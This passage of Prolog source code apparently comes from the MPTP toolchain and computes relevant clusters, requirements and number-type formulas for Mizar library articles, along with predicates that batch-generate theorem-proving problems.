) ->\n\t    findall(ConsInfo,\n\t\t    (\n\t\t      member(ConsType, ConsEmptyJustifTypes),\n\t\t      create_type_info_for_consider(ConsType, ConsInfo)\n\t\t    ),\n\t\t    ConsInfos0\n\t\t  ),\n\t    sort(ConsInfos0, ConsInfos),\n\t    union(OldSyms, NewSyms, AllSyms),\n\t    add_rclusters_for_unhandled(F, Pos, RefsIn, AllSyms, ConsInfos, NewRClusters),\n\t    union(RefsIn, NewRClusters, RefsOut)\n\t  ;\n\t    RefsOut = RefsIn\n\t  )\n\t;\n\t  union(Refs1, RefsIn, Refs2),\n\t  findall(d,(member(R,Refs1),assert(fxp_refsin_(R))),_),\n\t  union(OldSyms, NewSyms, OldSyms1),\n\t  maplist(get_ref_fla, Refs1, Flas1),\n\t  collect_symbols_top(Flas1, Syms1),\n\t  subtract(Syms1, OldSyms1, NewSyms1),\n\t  findall(d,(member(S,NewSyms1),assert(fxp_allsyms_(S))),_),\n\t  fixpoint_(F, Pos, InfKind, Refs2, OldSyms1, NewSyms1, RefsOut)\n\t).\n\n\n%% create_type_info_for_consider(ConsType, -ConsInfo)\n%%\ncreate_type_info_for_consider(ConsType, ConsInfo):-\n\tconstr2list('&', _Last, AndList, ConsType),!,\n\tprocess_attrsmode_list_for_cons(AndList, ConsAttrs0, Radix),\n\tcreate_cons_info(ConsAttrs0, Radix, ConsInfo).\n\ncreate_cons_info(ConsAttrs0, Radix, ConsInfo):-\n\t(\n\t  Radix = $true ->\n\t  ConsMode = $true,\n\t  ConsFuncs = []\n\t;\n\t  Radix =.. [ConsMode | Args],\n\t  collect_symbols_top(Args, RadixArgSyms),\n\t  sublist(mptp_func_sym, RadixArgSyms, ConsFuncs0),\n\t  sort(ConsFuncs0, ConsFuncs)\n\t),\n\tlength(ConsFuncs, ConsFuncsNr),\n\tsort(ConsAttrs0, ConsAttrs),\n\tlength(ConsAttrs, ConsAttrsNr),\n\tConsInfo = [ConsMode, ConsFuncsNr, ConsAttrsNr, ConsFuncs, ConsAttrs],!.\n\n%% process_attrsmode_list_for_cons(+AndList, -ConsAttrs0, -Radix),\n%%\n%% Expects a list possibly ending with a radix. Converts the negated atributes\n%% to 'w'-symbols, and forgest their arguments. If there is no radix, it\n%% pretends to be $true\nprocess_attrsmode_list_for_cons([AttrTermOrRadix | Rest], [ AttrSym | ConsAttrsRest], Radix):-\n\tprocess_attrterm_for_cons(AttrTermOrRadix, AttrSym), !,\n\tprocess_attrsmode_list_for_cons(Rest, ConsAttrsRest, Radix).\n\nprocess_attrsmode_list_for_cons([Radix], [], Radix).\nprocess_attrsmode_list_for_cons([], [], $true).\n\n\n%% process_attrterm_for_cons(+AttrTerm, -AttrSym)\nprocess_attrterm_for_cons(~(AttrTerm), NegAttrSym):- !,\n\tAttrTerm =.. [PosAttrSym | _],\n\tensure(atom_chars(PosAttrSym, [v | Rest]), process_attrterm_for_cons),\n\tatom_chars(NegAttrSym, [ w | Rest]), !.\n\nprocess_attrterm_for_cons(AttrTerm, PosAttrSym):-\n\tAttrTerm =.. [PosAttrSym | _],\n\tatom_chars(PosAttrSym, [v | _]).\n\n\n%% get_current_rclusters(+RefsIn, ?Rclusters)\n%%\nget_current_rclusters(RefsIn, Rclusters):-\n\tsublist(ref_is_rcluster, RefsIn, Rclusters).\n\n%% rcluster_covers_consider(+RCl, [+ConsMode, +ConsFuncsNr, +ConsAttrsNr, +ConsFuncs, +ConsAttrs])\n%%\n%% Ensure that all attributes in the consider are also in the rcluster,\n%% that the rcluster's mode is same as in consider, and that all\n%% functors in the rcluster are also in the consider.\n%% Note if we know all this, the additional condition for the consider to be\n%% fully covered by the rcluster is just that ConsFuncsNr = FuncsNr.\n%% ###TODO: if this is still too weak, take care also of the context vars/consts on\n%%          which the rcluster/consider depends.\nrcluster_covers_consider(RCl, ConsInfo):-\n\tConsInfo = [ConsMode, ConsFuncsNr, ConsAttrsNr, ConsFuncs, ConsAttrs],\n\trc_syms_for_consider(RCl, _File, ConsMode, FuncsNr, AttrsNr, FuncSyms, AttrSyms),\n\tFuncsNr =< ConsFuncsNr,\n\tConsAttrsNr =< AttrsNr,\n\tsubset(FuncSyms, ConsFuncs),\n\tsubset(ConsAttrs, AttrSyms),!.\n\n\n%% get_covered_consider(+Rclusters, +ConsInfos, -Covered)\n%%\n%% Select the ConsInfos covered by some of Rclusters into Covered.\n%% We don't have to check the file and position here - it has already been checked\n%% at this point.\n%% Note that we use setof, to only check Rclusters until we find the first covering\n%% for a particul ConsInfo.\nget_covered_consider(Rclusters, ConsInfos, Covered):-\n\tsetof(ConsInfo,\n\t\t(\n\t\t  member(ConsInfo, ConsInfos),\n\t\t  member(RCl, Rclusters),\n\t\t  rcluster_covers_consider(RCl, ConsInfo)\n\t\t),\n\t      Covered),!.\n\n%% to fix the failure above when the setof is empty\nget_covered_consider(_Rclusters, _ConsInfos, []).\n\n\n%% get_first_rcluster_cover(+Rclusters, +ConsInfo, -RCl):-\nget_first_rcluster_cover(Rclusters, ConsInfo, RCl):-\n\tmember(RCl, Rclusters),\n\trcluster_covers_consider(RCl, ConsInfo), !.\n\n%% as a first hack, no optimization here;\n%% ##TODO: optimize this better, using ALGO above\ncover_remaining_consider(Rclusters, ConsInfos, Covered, Covering):-\n\tfindall([ConsInfo,RCl],\n\t\t(\n\t\t  member(ConsInfo, ConsInfos),\n\t\t  get_first_rcluster_cover(Rclusters, ConsInfo, RCl)\n\t\t),\n\t\tRes),\n\tzip(Covered, Covering, Res).\n\n%% get_eligible_rclusters(+File, +Pos, +CurrentRclusters, -Eligible)\n%%\n%% Get rclusters usable for File and Pos, and not included in CurrentRclusters.\nget_eligible_rclusters(F, Pos, CurrentRclusters, Eligible):-\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tfindall(Ref1,\n\t\t(\n\t\t  member(F1,[F|Regs]),\n\t\t  fof_cluster(F1,Ref1,_),\n\t\t  atom_chars(Ref1,[r|_]),\n\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t  not(member(Ref1, CurrentRclusters))\n\t\t  %% this is faster but a bit hackier way at this point:\n%%\t\t  not(fxp_refsin_(Ref1))\n\t\t),\n\t\tEligible).\n\n%% add_rclusters_for_unhandled(+F, +Pos, +RefsIn, +AllSyms, +ConsInfos, -NewRClusters)\n%%\n%% Finish the fixpoint algo by finding NewRClusters needed for considers with\n%% empty justifications (passed already preprocessed as ConsInfos).\n%% ##TODO: add some debug info, when not all ConsInfos are covered.\n%%\n%% Longer & older rant:\n%%\n%% Add needed rclusters for ConsInfos coming from consider justifications.\n%% Each\tConsInfo has the form [ConsMode, ConsFuncsNr, ConsAttrsNr, ConsFuncs, ConsAttrs],\n%% and we require thet the ConsMode and the ConsAttrs be covered by som rcluster\n%% If an appropriate rcluster is in RefsIn, we use it, otherwise we try to add\n%% rcluster constrained by F's theory and position Pos.\n%% We are intentionally not looking for additional mode existence fofs, because they\n%% should already be there.\n%% We need the following info about rclusters for this:\n%% - which symbols certainly have to be present in the consider statement:\n%%         the mode symbol, and the functor symbols in the rcluster\n%% - which symbols form the upper bound, and we only require that the\n%%         consider statement does not contain more than them:\n%%         the attributes forming the proper cluster, could be also\n%%         with functors, but the functors will be present in the mode\n%%         anyway, so we don't need them; we however need the polarity\n%%         (could be done by using  the 'w' version of the symbol for negation)\n%% Indexing requirements: we have to ensure that all attributes in the consider are\n%%         also in the rcluster; but typically, we'll have many rclusters, and just a few\n%%         considers to deal with; so we'll just prune the rclusters by the mode & functor\n%%         syms, and then check each rcluster's attrs for being superset of the consider's\n%%         attrs; finally, we should also collect the optional info whether all consider's functor\n%%         syms are covered by the rcluster\n%% following indexing is used:\n%%     rc_syms_for_consider(+RCl, -File, -ConsMode, -FuncsNr, -AttrsNr, -FuncSyms, -AttrSyms)\n%% ##PROBLEM: redefinitions could mess things, e.g. the FuncSyms might differ; ignore now.\n%% ##ALGO: each SymPair which is not covered by RefsIn increases the \"cover count\" for\n%%         all eligible rclusters which cover it, and is added to their \"cover list\".\n%%         Then we greedily choose the rclusters with largest \"cover count\", until\n%%         all SymPairs are covered. (not done yet: This is attempted first in the \"Func-mode\",\n%%         i.e. trying to use only rclusters that cover the SymPair also with its\n%%         FuncSyms, and only with the remaining clusters we try in the AttrOrModeSyms\n%%         only.)\nadd_rclusters_for_unhandled(F, Pos, RefsIn, _AllSyms, ConsInfos, NewRClusters):-\n\tget_current_rclusters(RefsIn, CurrentRclusters),\n\tget_covered_consider(CurrentRclusters, ConsInfos, Covered),\n\tsubtract(ConsInfos, Covered, Uncovered),\n\t(\n\t  Uncovered = [] ->\n\t  NewRClusters = []\n\t;\n\t  get_eligible_rclusters(F, Pos, CurrentRclusters, Eligible),\n\t  cover_remaining_consider(Eligible, Uncovered, _NewlyCovered, NewRClusters)\n\t).\n\n\nfixpoint_old(F,Pos,InfKind,RefsIn,OldSyms,NewSyms,RefsOut):-\n\tdecrease_fxp_sym_flags(NewSyms, ZeroedRefs),\n\tone_pass(F, Pos, InfKind, RefsIn, OldSyms, NewSyms, ZeroedRefs, Refs1), !,\n\t(\n\t  Refs1 = [] ->\n\t  RefsOut = RefsIn\n\t;\n\t  union(Refs1, RefsIn, Refs2),\n\t  union(OldSyms, NewSyms, OldSyms1),\n\t  maplist(get_ref_fla, Refs1, Flas1),\n\t  collect_symbols_top(Flas1, Syms1),\n\t  subtract(Syms1, OldSyms1, NewSyms1),\n\t  fixpoint_old(F, Pos, InfKind, Refs2, OldSyms1, NewSyms1, RefsOut)\n\t).\n\n%% antecedent symbols needed for fcluster or ccluster\ncl_needed_syms_top(Fla,Syms):-\n\tcl_needed_syms(Fla,Syms1),\n\tlogic_syms(Syms2),\n\tsubtract(Syms1, Syms2, Syms), !.\ncl_needed_syms( ! Svars : Fla, AnteSyms):- !,\n\tcollect_symbols_top(Svars, Syms1),\n\tcl_needed_syms(Fla, Syms2),\n\tunion(Syms1, Syms2, AnteSyms).\ncl_needed_syms( sort(_,Ante) => sort(_,_), AnteSyms):- !, collect_symbols_top(Ante, AnteSyms).\ncl_needed_syms( sort(Trm,_), AnteSyms):- !, collect_symbols_top(Trm, AnteSyms).\n%% should not get here\ncl_needed_syms(_,_):- throw(cluster).\n\n%% return the level on which cluster must not be used\n%% used also for identifyexp\nget_cluster_proof_level(Ref,Lev):-\n\tfof_name(Ref, Id),!,\n\tclause(fof(Ref,_,_,_,[Info|_]), _, Id),\n\tInfo = mptp_info(_,[],_,_,[proof_level(Lev)|_]), ! .\n\nget_cluster_proof_level(Ref,_):-\n\tthrow(get_cluster_proof_level(Ref)).\n\n%% Check that cluster is applicable to [Pos1,Lev1] .\n%% Only relevant if from the same file,\n%% The calling code has to ensure correctness for different files.\n%% Used also for identifyexp.\ncheck_cluster_position(F,[Pos1,Lev1],F,Ref2):- !,\n\tensure(article_position(Ref2,Pos2), throw(article_position2(F,Ref2))),\n\tdbg(dbg_CLUSTERS,\n\t    format('Considering cluster: ~w,~w, position: ~w with [~w,~w] ~n',\n\t\t   [Ref2,F,Pos2,Pos1,Lev1])),\n\tPos2 < Pos1,\n\tget_cluster_proof_level(Ref2,Lev2),\n\tdbg(dbg_CLUSTERS, format('Cluster proof level: ~w', [Lev2])),\n\tnot(sublevel(Lev1, Lev2)),\n\tdbg(dbg_CLUSTERS, format('cluster succeeded ~n')).\n\ncheck_cluster_position(F,P,F,_):- throw(check_cluster_position(F,P)).\ncheck_cluster_position(_,_,_,_).\n\n%% fof_cluster contains precomputed info\n%% assumes that F is the current article\nget_clusters([F|Regs],Pos,_RefsIn,_OldSyms,_NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(fxp_refsin_(Ref1)),\n\t\t\t  checklist(fxp_allsyms_,AnteSyms)),\n\t\tAddedRefs1),\n\tsort(AddedRefs1,AddedRefs).\n\n%% as get_clusters, but only conditional and functor clusters\n%% (i.e. avoids existential ones)\nget_fc_clusters([F|Regs],Pos,_RefsIn,_OldSyms,_NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  atom_chars(Ref1,[Char|_]),\n\t\t\t  member(Char,[c,f]),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(fxp_refsin_(Ref1)),\n\t\t\t  checklist(fxp_allsyms_,AnteSyms)),\n\t\tAddedRefs1),\n\tsort(AddedRefs1,AddedRefs).\n\n%% old slow versions\nget_clusters_old([F|Regs],Pos,RefsIn,OldSyms,NewSyms,AddedRefs):-\n\tunion(OldSyms, NewSyms, AllSyms),\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(member(Ref1, RefsIn)),\n\t\t\t  subset(AnteSyms, AllSyms)),\n\t\tAddedRefs).\n\nget_fc_clusters_old([F|Regs],Pos,RefsIn,OldSyms,NewSyms,AddedRefs):-\n\tunion(OldSyms, NewSyms, AllSyms),\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_cluster(F1,Ref1,AnteSyms),\n\t\t\t  atom_chars(Ref1,[Char|_]),\n\t\t\t  member(Char,[c,f]),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(member(Ref1, RefsIn)),\n\t\t\t  subset(AnteSyms, AllSyms)),\n\t\tAddedRefs).\n\n%% fof_identifyexp contains precomputed info\n%% assumes that F is the current article\nget_identifyexp([F|Regs],Pos,_RefsIn,_OldSyms,_NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,[F|Regs]),\n\t\t\t  fof_identifyexp(F1,Ref1,AnteSyms),\n\t\t\t  check_cluster_position(F,Pos,F1,Ref1),\n\t\t\t  not(fxp_refsin_(Ref1)),\n\t\t\t  checklist(fxp_allsyms_,AnteSyms)),\n\t\tAddedRefs1),\n\tsort(AddedRefs1,AddedRefs).\n\n%% there are now 7469 requirements arithm (MML 930)\nget_requirements(Files,_RefsIn,_OldSyms,_NewSyms,ZeroedRefs,AddedRefs):-\n\tfindall(Ref1, (\n\t\t\tmember(Ref1, ZeroedRefs),\n\t\t\tfof_ante_sym_cnt(Ref1,F1,req,_),\n\t\t\tmember(F1,Files),\n\t\t\tnot(fxp_refsin_(Ref1)),\n\t\t\t%% check that all symbols of Ref1 are indeed\n\t\t\t%% in fxp_allsyms_, complain if not\n\t\t\tdbg(dbg_REQS,\n\t\t\t    (fof_req(F1,Ref1,Syms1),\n\t\t\t\t(checklist(fxp_allsyms_,Syms1) -> true;\n\t\t\t\t    findall(S,(member(S,Syms1),not(fxp_allsyms_(S))),Failed),\n\t\t\t\t    print(sUCKERS(Ref1,Failed)),nl)))\n\t\t      ),\n\t\tAddedRefs1),\n\tfindall(Ref2, (\n\t\t\tmember(F2,Files),\n\t\t\thard_wired_req(F2,Ref2,Syms),\n\t\t\tnot(fxp_refsin_(Ref2)),\n\t\t\tchecklist(fxp_allsyms_,Syms)\n\t\t      ),\n\t\tAddedRefs2),\n\t%% need to remove multiples introduced by hard_wired_req\n\tappend(AddedRefs1, AddedRefs2, AddedRefs3),\n\tsort(AddedRefs3, AddedRefs).\n\nget_requirements_old1(Files,_RefsIn,_OldSyms,_NewSyms,_ZeroedRefs,AddedRefs):-\n\tfindall(Ref1, (\n\t\t\tmember(F1,Files),\n\t\t\t(fof_req(F1,Ref1,Syms); hard_wired_req(F1,Ref1,Syms)),\n\t\t\tnot(fxp_refsin_(Ref1)),\n\t\t\tchecklist(fxp_allsyms_,Syms)\n\t\t      ),\n\t\tAddedRefs1),\n\t%% need to remove multiples introduced by hard_wired_req\n\tsort(AddedRefs1, AddedRefs).\n\n%% old slow version\nget_requirements_old(Files,RefsIn,OldSyms,NewSyms,_ZeroedRefs,AddedRefs):-\n\tunion(OldSyms, NewSyms, AllSyms),\n\tfindall(Ref1, (member(F1,Files),\n\t\t\t  (fof_req(F1,Ref1,Syms);\n\t\t\t      hard_wired_req(F1,Ref1,Syms)\n\t\t\t  ),\n\t\t\t  not(member(Ref1, RefsIn)),\n\t\t\t  subset(Syms, AllSyms)),\n\t\tAddedRefs1),\n\t%% need to remove multiples introduced by hard_wired_req\n\tsort(AddedRefs1, AddedRefs).\n\n\n%% get references for types of numbers\nget_nr_types(Files,RefsIn,NewSyms,AddedRefs):-\n\tfindall(Ref1, (member(F1,Files),\n\t\t\t  member(N,NewSyms),\n\t\t\t  integer(N),\n\t\t\t  get_nr_type(F1,N,Ref1),\n\t\t\t  not(member(Ref1, RefsIn))),\n\t\tAddedRefs).\n\n%% get the type formula for numbers added by a requirement File\n%% possibly create and index the fof, if not existing yet\nget_nr_type(File,N,Name):-\n\tmember(File, [boole,numerals]),\n\tinteger(N),\n\tconcat_atom([spc,N,'_',File],Name),\n\t(fof_name(Name,_),!\n\t;\n\t    get_nr_fof(File,N,Res),\n\t    Res = fof(Name,_,_,_,_),\n\t    assert(Res,Id),\n\t    assert(fof_name(Name,Id)),\n\t    assert(fof_section(Name,Id))\n\t).\n\n\n%% the (non)zerotyp added by requirements numeral\nspec_num_type(0,_,(sort(0,(m2_subset_1(k1_numbers, k5_numbers)))\n\t\t & sort(0,(m1_subset_1(k5_numbers)))\n\t\t & sort(0,(m1_subset_1(k1_numbers))))) :- !.\n\nspec_num_type(N,MmlVersion,(sort(N,(IsPositive & m2_subset_1(k1_numbers, k5_numbers)))\n\t\t & sort(N,(m1_subset_1(k5_numbers)))\n\t\t & sort(N,(m1_subset_1(k1_numbers))))):- req_Positive(MmlVersion,IsPositive).\n\n\n\n%% ###TODO: change this system to the one used for assert_arith_evals\n\nget_nr_fof(boole,0,fof(spc0_boole,theorem, sort(0, v1_xboole_0),\n\t       file(boole,spc0_boole),\n\t       [mptp_info(0,[],theorem,position(0,0),[0])])).\nget_nr_fof(boole,N,Res):-\n\tinteger(N), N > 0, concat_atom([spc,N,'_boole'],Name),\n\tRes= fof(Name,theorem, sort(N, ~(v1_xboole_0)),\n\t\t file(boole,Name),[mptp_info(0,[],theorem,position(0,0),[0])]).\n\n%% positive Element of omega; for 0, Element of omega is ensured by NUMERALS:1\n%% ##TODO: it seems that this can become the redefined Element of NAT (widening to REAL)\n%%         see iocorrel:Load_EnvConstructors\n%% that may be needed for adding the 'complex' attribute, using\n%% cluster   -> complex Element of REAL ;\n%%\n%% ##NOTE: the .zrt files will not be used; if the (non)zerotyp/2 predicates are\n%%         needed, they will be created by looking at requirements directives of the article\n%% The reason for not using custom (non)zerotyp (with upper cluster) is that the naming of\n%% such formulas becomes either inconsistent (different flas with the same name), or\n%% unstable (different name for the same fla).\n%% Following test should fail; if it does not fail, we should fix the default type.\n%% ##TEST: :- zerotyp(AR,K),AR \\= numbers, constr2list(A, X, L,K),X\\=m2_subset_1(k1_numbers, k5_numbers),theory(AR,T),member(requirements(R),T),member(numerals,R).\n\n%% done below now\n%% get_nr_fof(numerals,0,fof(spc0_numerals,theorem,sort(0,m2_subset_1(k1_numbers, k5_numbers)),\n%% \t\t\t  file(numerals,spc0_numerals),\n%% \t\t\t  [mptp_info(0,[],theorem,position(0,0),[0])])).\n\n%% ##NOTE: we have to add the original type explicitly here, and also the supertype,\n%%    because the redefinition subset_1.html#M2 requires nonemptiness of NAT,\n%%    and e.e. in square_1 this is not known. Mizar uses the redefined version anyway,\n%%    which seems to automatically make also the original version available.\n%% ###TODO: have a closer look at this redefinition issue; it ptobably caused also\n%%          the incomplete bg in one MPTP Challenge problem.\nget_nr_fof(numerals,N,Res):-\n\tinteger(N),\n\tmml_version(MmlVersion),\n\tspec_num_type(N,MmlVersion,NumType),\n%%\tN > 0,\n\tconcat_atom([spc,N,'_numerals'],Name),\n\tRes= fof(Name,theorem,NumType,\n\t\t file(numerals,Name),\n\t\t [mptp_info(0,[],theorem,position(0,0),[0])]).\n\n%% these requirements need to be hard-wired, because not all syms\n%% are needed to fire; therefore they do not need to bee asserted\n%% during the normal processing (but are now)\n\n%% t6_boole: b1 is empty implies b1 = {}\nhard_wired_req(boole,t6_boole,[v1_xboole_0]).\nhard_wired_req(boole,t6_boole,[k1_xboole_0]).\n\n%% t7_boole: not ( b1 in b2 & b2 is empty )\nhard_wired_req(boole,t7_boole,[v1_xboole_0]).\nhard_wired_req(boole,t7_boole,[r2_hidden]).\n\n%% t1_subset: b1 in b2 implies b1 is Element of b2\nhard_wired_req(subset,t1_subset,[r2_hidden]).\n\n%% t2_subset: b1 is Element of b2 implies (b2 is empty or b1 in b2)\nhard_wired_req(subset,t2_subset,[m1_subset_1,v1_xboole_0]).\n\n%% t3_subset: b1 is Subset of b2 iff b1 c= b2\nhard_wired_req(subset,t3_subset,[r1_tarski]).\nhard_wired_req(subset,t3_subset,[m1_subset_1,k1_zfmisc_1]).\n\n%% other requirements:\n%% - 2 distinct numerals are not equal\n%% - functor rqImaginaryUnit (k1_xcmplx_0) equals to i (what is i? - I'll ignore\n%%   \"complex numerals\" in the first version probably\n%% - +,*,-/1, 1/x, -/2,/ evaluation (rqRealAdd, rqRealMult, rqRealNeg, rqRealInv,\n%%                 rqRealDiff, rqRealDiv -\n%%         - k2_xcmplx_0, k3_xcmplx_0, k4_xcmplx_0, k5_xcmplx_0, k6_xcmplx_0, k7_xcmplx_0)\n%%   special cases for 0 and 1 mentioned in arithm.miz\n\n\n%%%%%%%%%%%%%%%%%%%% Problem creation for many articles %%%%%%%%%%%%%%%%%%%%\n\nfirst100([\n\t  xboole_0,boole,xboole_1,enumset1,zfmisc_1,subset_1,subset,relat_1,\n\t  funct_1,grfunc_1,relat_2,ordinal1,wellord1,setfam_1,relset_1,partfun1,\n\t  mcart_1,wellord2,funct_2,funct_3,domain_1,binop_1,funcop_1,funct_4,\n\t  ordinal2,ordinal3,arytm_3,arytm_2,arytm_1,finset_1,finsub_1,setwiseo,\n\t  fraenkel,\n\t  numbers,arytm_0,numerals,xcmplx_0,arithm,xreal_0,real,xcmplx_1,\n\t  xreal_1,axioms,real_1,square_1,nat_1,int_1,rat_1,binop_2,membered,\n\t  complex1,absvalue,card_1,finseq_1,zf_lang,zf_model,zf_colla,orders_1,\n\t  eqrel_1,funct_5,card_2,trees_1,finseq_2,recdef_1,classes1,card_3,\n\t  classes2,ordinal4,finseq_3,zfmodel1,zf_lang1,zf_refle,zfrefle1,qc_lang1,\n\t  qc_lang2,qc_lang3,cqc_lang,pboole,seq_1,seq_2,prob_1,wellset1,seqm_3,\n\t  seq_4,real_2,margrel1,prob_2,rcomp_1,multop_1,mcart_2,mcart_3,mcart_4,\n\t  mcart_5,mcart_6,finseq_4,finseqop,finsop_1,setwop_2]).\n\n%% articles in which at least one scheme is proved\nscheme_articles([\n\t\t abcmiz_0, afinsq_1, algseq_1, altcat_1, altcat_2,\n\t\t ami_3, ami_4, armstrng, arytm_3, asympt_0, bhsp_4, binarith, binom,\n\t\t binop_1, binop_2, bintree1, bintree2, birkhoff, borsuk_2, borsuk_6,\n\t\t bvfunc_1, card_1, card_3, card_4, card_fil, cat_3, cat_5, catalg_1,\n\t\t cfcont_1, chain_1, circcmb2, circcmb3, circcomb, circtrm1, clopban4,\n\t\t closure1, clvect_3, cohsp_1, complsp1, comptrig, comput_1, comseq_1,\n\t\t cqc_lang, cqc_sim1, dickson, domain_1, dtconstr, eqrel_1, facirc_1,\n\t\t fdiff_2, fib_num2, fib_num, filter_1, finseq_1, finseq_2, finseq_5,\n\t\t finset_1, fin_topo, fraenkel, frechet2, funct_1, funct_2, funct_3,\n\t\t funct_5, funct_7, functor0, glib_000, goboard1, goboard2, graph_1,\n\t\t graph_2, graph_5, grcat_1, group_4, group_5, hallmar1, heyting3,\n\t\t hilbert2, index_1, instalg1, int_1, int_2, irrat_1, jct_misc,\n\t\t jgraph_2, jgraph_3, jgraph_4, jordan1a, knaster, kurato_2, lattice3,\n\t\t lattice5, lattice7, lfuzzy_0, lmod_7, lopban_4, margrel1, matrix_1,\n\t\t measure1, measure5, membered, metric_3, midsp_3, modal_1, monoid_0,\n\t\t monoid_1, msafree1, msaterm, mssubfam, msualg_6, msualg_8, msualg_9,\n\t\t multop_1, nat_1, nat_2, nattra_1, necklace, orders_1, orders_3,\n\t\t ordinal1, ordinal2, ordinal4, partfun1, partfun2, pboole, pcomps_1,\n\t\t pcomps_2, pencil_2, pnproc_1, polynom2, polynom3, pre_circ, prob_4,\n\t\t prvect_1, pscomp_1, pua2mss1, qc_lang1, qc_lang3, qc_lang4, quantal1,\n\t\t rcomp_1, real_1, recdef_1, recdef_2, relat_1, relset_1, rewrite1,\n\t\t rlvect_4, scheme1, schems_1, scmfsa6a, scmfsa_7, scmfsa9a, scmfsa_9,\n\t\t scmpds_4, scmpds_8, scpinvar, scpisort, seq_1, seqfunc, setwiseo,\n\t\t sgraph1, sin_cos, sppol_1, square_1, stirl2_1, sublemma, subset_1,\n\t\t substut1, substut2, supinf_1, tarski, tex_2, toler_1, topgen_3,\n\t\t topgen_4, topgen_5, topreal1, toprns_1, transgeo, trees_1, trees_2,\n\t\t trees_4, trees_9, triang_1, uniroots, uproots, valuat_1, waybel_0,\n\t\t waybel10, waybel11, waybel17, waybel19, waybel24, waybel_2, waybel30,\n\t\t waybel31, waybel_4, waybel_6, wellfnd1, wellord2, wellset1, xboole_0,\n\t\t yellow_0, yellow15, yellow16, yellow17, yellow18, yellow20, yellow21,\n\t\t yellow_3, yellow_9, zf_lang1, zf_lang, zf_model, zfrefle1, zf_refle\n\t\t]).\n\n\nnonnumeric(Article):-\n\ttheory(Article,T),\n\tmember(requirements(Req),T),\n\tsubset(Req,[hidden, boole, subset]).\n\nall_articles(List):-\n\tmml_dir(Dir),\n\tsformat(AList, '~s../mml.lar', [Dir]),\n\topen(AList,read,S),\n\tread_lines(S,List),\n\tclose(S).\n\nread_lines(S,Res):-\n\tread_line_to_codes(S,C),\n\t(C= end_of_file,Res=[];\n\t    read_lines(S,Res1),\n\t    string_to_atom(C,C1),\n\t    Res = [C1|Res1]).\n\nread_file_lines(File, List):-\n\topen(File,read,S),\n\tread_lines(S,List),\n\tclose(S),!.\n\n\n%% Top level predicate for creating problems for\n%% first 100 MML articles.\nmk_first100:-\n\tdeclare_mptp_predicates,load_mml,first100(L),!,\n\tmember(A,L),mk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem]],[opt_REM_SCH_CONSTS]),fail.\n\n%% Create problems for nonumeric articles (about 300)\nmk_nonnumeric:-\n\tdeclare_mptp_predicates,load_mml,all_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem]],[opt_REM_SCH_CONSTS]),fail.\n\n%% Create scheme problems for nonumeric articles\nmk_nonnumeric_schemes:-\n\tdeclare_mptp_predicates,load_mml,scheme_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[scheme]],[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF]),fail.\n\n%% Create cluster problems for nonumeric articles\nmk_nonnumeric_clusters:-\n\tdeclare_mptp_predicates,load_mml,all_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[cluster]],[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF]),fail.\n\n\n%% for creating by-explanations, use this:\n%% L=[xboole_0, boole, xboole_1, enumset1, zfmisc_1, subset_1, subset, relat_1, funct_1, grfunc_1, relat_2, ordinal1, wellord1],\n%% member(A,L),mk_article_problems(A,[[mizar_by],[theorem, top_level_lemma, sublemma]],\n%% [opt_REM_SCH_CONSTS,opt_MK_TPTP_INF,opt_LINE_COL_NMS]),fail.\n\n%% print names of theorem problems in their order into SpecFile\n%% now nonnumeric only;\n%% TODO: check why t13_aff_1 was not created by SNoW\nmk_ordered_th_problem_list(SpecFile):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tload_environs, % needed for nonnumeric/1\n\tinstall_index,\n\tall_articles(Articles),\n\ttell(SpecFile),\n\t(\n\t  member(A,Articles),\n\t  nonnumeric(A),\n\t  fof(Name,theorem,Fla,file(A,Name),_),\n\t  Fla \\= $true,\n\t  format('~w/~w__~w~n',[A,A,Name]),\n\t  fail\n\t;\n\t  told\n\t).\n\n%% Create problems from the recommendations given by SNoW\n%% in SpecFile (it contains snow_spec(Conjecture, Refs) clauses.\n%% Now limited to nonnumeric articles.\nmk_nonnumeric_snow(SpecFile):-\n\tabolish(snow_spec/2), consult(SpecFile),\n\tdeclare_mptp_predicates,load_mml,all_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem],snow_spec],[opt_REM_SCH_CONSTS]),fail.\n\n%% Create (sub)problems whose names are in the list - should have option handling.\n%% Names should have the form xboole_1__t40_xboole_1 (i.e.: Article__Problem)\nmk_sub_problems_from_list(List):-\n\tdeclare_mptp_predicates,load_mml,\n\tfindall([Article, Problem],\n\t\t( member(Name,List), concat_atom([Article,Problem], '__', Name)),\n\t\tPairs), !,\n\tmaplist(nth1(1),Pairs,Articles),\n\tsort(Articles, L),!,\n\tmember(A,L),\n\tfindall(P, member([A,P], Pairs), AList),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],\n\t\t\t       [theorem, top_level_lemma, sublemma],\n\t\t\t       subproblem_list(AList)],\n\t\t\t    [opt_REM_SCH_CONSTS,opt_MK_TPTP_INF,opt_LEVEL_REF_INFO]),fail.\n\n%% Create problems whose names 